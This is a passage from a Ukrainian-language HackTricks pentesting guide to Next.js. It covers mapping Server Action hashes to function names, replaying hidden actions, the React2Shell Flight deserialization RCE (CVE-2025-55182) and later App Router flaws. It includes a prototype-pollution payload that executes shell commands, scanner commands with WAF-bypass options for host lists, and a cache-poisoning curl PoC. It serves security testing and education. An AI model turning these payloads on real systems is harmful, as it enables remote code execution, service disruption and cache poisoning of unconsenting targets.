next/imageдля автоматичної оптимізації зображень. - Розділення коду: Використовуйте динамічні імпорти, щоб розділити код і зменшити час початкового завантаження.
- Кешування: Реалізуйте стратегії кешування для відповідей API та статичних ресурсів.
- Ліниве завантаження: Завантажуйте компоненти або ресурси лише коли вони потрібні.
Приклад:
// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"
const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})
Перелічення Next.js Server Actions (hash to function name via source maps)
Сучасний Next.js використовує “Server Actions”, які виконуються на сервері, але викликаються з клієнта. У production ці виклики непрозорі: всі POSTs потрапляють на спільний endpoint і відрізняються build-specific hash, який відправляється в заголовку Next-Action. Приклад:
POST /
Next-Action: a9f8e2b4c7d1...
Коли productionBrowserSourceMaps увімкнено, minified JS chunks містять виклики createServerReference(...), які leak достатньо структури (плюс відповідні source maps), щоб відновити відображення між action hash та оригінальною назвою функції. Це дозволяє зіставляти хеші, помічені в Next-Action, з конкретними цілями, такими як deleteUserAccount() або exportFinancialData().
Підхід витягання (regex on minified JS + optional source maps)
Шукайте завантажені JS чанки на предмет createServerReference і витягніть хеш та символ функції/джерела. Два корисні патерни:
# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)
# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
- Group 1: server action hash (40+ hex chars)
- Group 2: символ або шлях, який можна відновити до оригінальної функції через source map, якщо він присутній
If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.
Практичний робочий процес
- Пасивне виявлення під час перегляду: захоплюйте запити з заголовками
Next-Actionта JS chunk URL-ами. - Завантажте зазначені JS bundles та супутні
*.mapфайли (коли присутні). - Запустіть regex вище, щоб побудувати словник hash↔name.
- Використовуйте словник для таргетування тестування:
- Тріаж на основі імен (наприклад,
transferFunds,exportFinancialData). - Відстежуйте охоплення між збірками за назвою функції (hashes змінюються між збірками).
- Тріаж на основі імен (наприклад,
Виконання прихованих дій (template-based request)
Візьміть дійсний POST, спостережений у проксі, як шаблон і замініть значення Next-Action, щоб націлитись на іншу виявлену дію:
# Before
Next-Action: a9f8e2b4c7d1
# After
Next-Action: b7e3f9a2d8c5
Replay in Repeater and test authorization, input validation and business logic of otherwise unreachable actions.
Автоматизація Burp
- NextjsServerActionAnalyzer (Burp extension) автоматизує описане вище в Burp:
- Аналізує історію проксі на наявність JS chunks, витягує
createServerReference(...)entries, та парсить source maps коли вони доступні. - Підтримує пошуковий словник hash↔function-name і де-дуплікує між збірками за іменем функції.
- Може знайти валідний шаблон POST і відкрити вкладку Repeater, готову до відправки, з підставленим хешем цільової дії.
- Repo: https://github.com/Adversis/NextjsServerActionAnalyzer
Примітки та обмеження
- Вимагає
productionBrowserSourceMapsenabled in production, щоб відновлювати імена з bundles/source maps. - Function-name disclosure не є вразливістю сама по собі; використовуйте її для наведення під час пошуку і тестуйте авторизацію кожної дії.
React Server Components Flight protocol deserialization RCE (CVE-2025-55182)
Next.js App Router deployments that expose Server Actions on react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) contain a critical server-side prototype pollution during Flight chunk deserialization. By crafting $ references inside a Flight payload an attacker can pivot from polluted prototypes to arbitrary JavaScript execution and then to OS command execution inside the Node.js process.
NodeJS - proto & prototype Pollution
Ланцюжок атаки в Flight-чанках
- Prototype pollution primitive: Set
"then": "$1:__proto__:then"so that the resolver writes athenfunction onObject.prototype. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals. - Переприв’язка до глобального конструктора
Function: Point_response._formData.getat"$1:constructor:constructor". During resolution,object.constructor→Object, andObject.constructor→Function, so future calls to_formData.get()actually executeFunction(...). - Виконання коду через
_prefix: Place JavaScript source in_response._prefix. When the polluted_formData.getis invoked, the framework evaluatesFunction(_prefix)(...), so the injected JS can runrequire('child_process').exec()or any other Node primitive.
Payload skeleton
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}
Картування експозиції React Server Functions
React Server Functions (RSF) — це будь-які функції, що включають директиву ‘use server’;. Кожна form action, mutation або fetch helper, прив’язана до однієї з таких функцій, стає RSC Flight endpoint, який охоче десеріалізує attacker-supplied payloads. Корисні кроки розвідки, витягнуті з оцінок React2Shell:
- Static inventory: шукайте директиву, щоб зрозуміти, скільки RSFs автоматично експонується фреймворком.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
- App Router defaults:
create-next-appвмикає App Router і директоріюapp/за замовчуванням, що непомітно перетворює кожен маршрут на endpoint, сумісний з RSC. Асети App Router, такі як/_next/static/chunks/app/або відповіді, які стримлять Flight chunks черезtext/x-component, є помітними підписами, видимими в Інтернеті. - Implicitly vulnerable RSC deployments: React’s own advisory зауважує, що додатки, які постачають RSC runtime, можуть бути експлуатовані навіть без явних RSFs, тож вважайте підозрілими будь-які збірки, що використовують
react-server-dom-*19.0.0–19.2.0. - Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, etc. повторно використовують той самий serializer і успадковують ту ж віддалену поверхню атаки, поки не вбудують патчені збірки React.
Version coverage (React2Shell)
react-server-dom-webpack,react-server-dom-parcel,react-server-dom-turbopack: вразливі у 19.0.0, 19.1.0–19.1.1 та 19.2.0; виправлені у 19.0.1, 19.1.2 та 19.2.1 відповідно.- Next.js stable: релізи App Router 15.0.0–16.0.6 вбудовують вразливий RSC стек. Patch trains 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 містять виправлені deps, тому будь-яка збірка нижча за ці версії є цінною метою.
- Next.js canary:
14.3.0-canary.77+також постачає buggy runtime і наразі не має патчених canary-збірок, що робить ці підписи сильними кандидатами для експлуатації.
Remote detection oracle
Assetnote’s react2shell-scanner надсилає спеціально створений multipart Flight-запит до кандидатних шляхів і спостерігає за поведінкою на сервері:
- Default mode виконує детермінований RCE payload (математична операція, відображена через
X-Action-Redirect), підтверджуючи виконання коду. --safe-checkmode навмисно пошкоджує Flight-повідомлення так, що патчені сервери повертають200/400, тоді як вразливі цілі видаютьHTTP/500відповіді, що містять підрядокE{"digest"у тілі. Ця пара(500 + digest)наразі є найнадійнішим віддаленим оракулом, опублікованим захисниками.- Вбудовані перемикачі
--waf-bypass,--vercel-waf-bypassта--windowsкоригують розмітку payload, додають префікс непотрібних даних або замінюють OS-команди, щоб ви могли перевіряти реальні ресурси в Інтернеті.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json
Інші недавні проблеми App Router (кінець 2025)
- RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – malformed Flight payloads можуть загіпнотизувати RSC resolver у нескінченний цикл (pre-auth DoS) або примусити серіалізацію скомпільованого коду Server Function для інших дій. App Router builds ≥13.3 уразливі до цього до застосування патчу; 15.0.x–16.0.x потребують конкретних рядків патчу з upstream advisory. Використовуйте звичайний Server Action шлях, але стрімте
text/x-componentbody з аб’юзивними$references. За CDN зависле з’єднання утримується відкритим таймаутами кешу, що робить DoS дешевим.
- Triage tip: Непатчені цілі повертають
500зE{"digest"}після malformed Flight payloads; запатчені збірки повертають400/200. Тестуйте будь-який endpoint, що вже стрімить Flight chunks (шукайтеNext-Actionheaders абоtext/x-componentresponses) і відтворюйте з модифікованим payload.
- RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – відсутній
VaryдозволяєAccept: text/x-componentresponse потрапити в кеш і віддаватися браузерам, що очікують HTML. Один priming request може замінити сторінку сирими RSC payloads. PoC flow:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head
Якщо друга відповідь повертає JSON Flight data замість HTML, маршрут піддається отруєнню. Очистіть кеш після тестування.
Посилання
- Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
- NextjsServerActionAnalyzer (Burp extension)
- CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
- CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know
- 0xdf – HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)
- assetnote/react2shell-scanner
- Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)
- GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


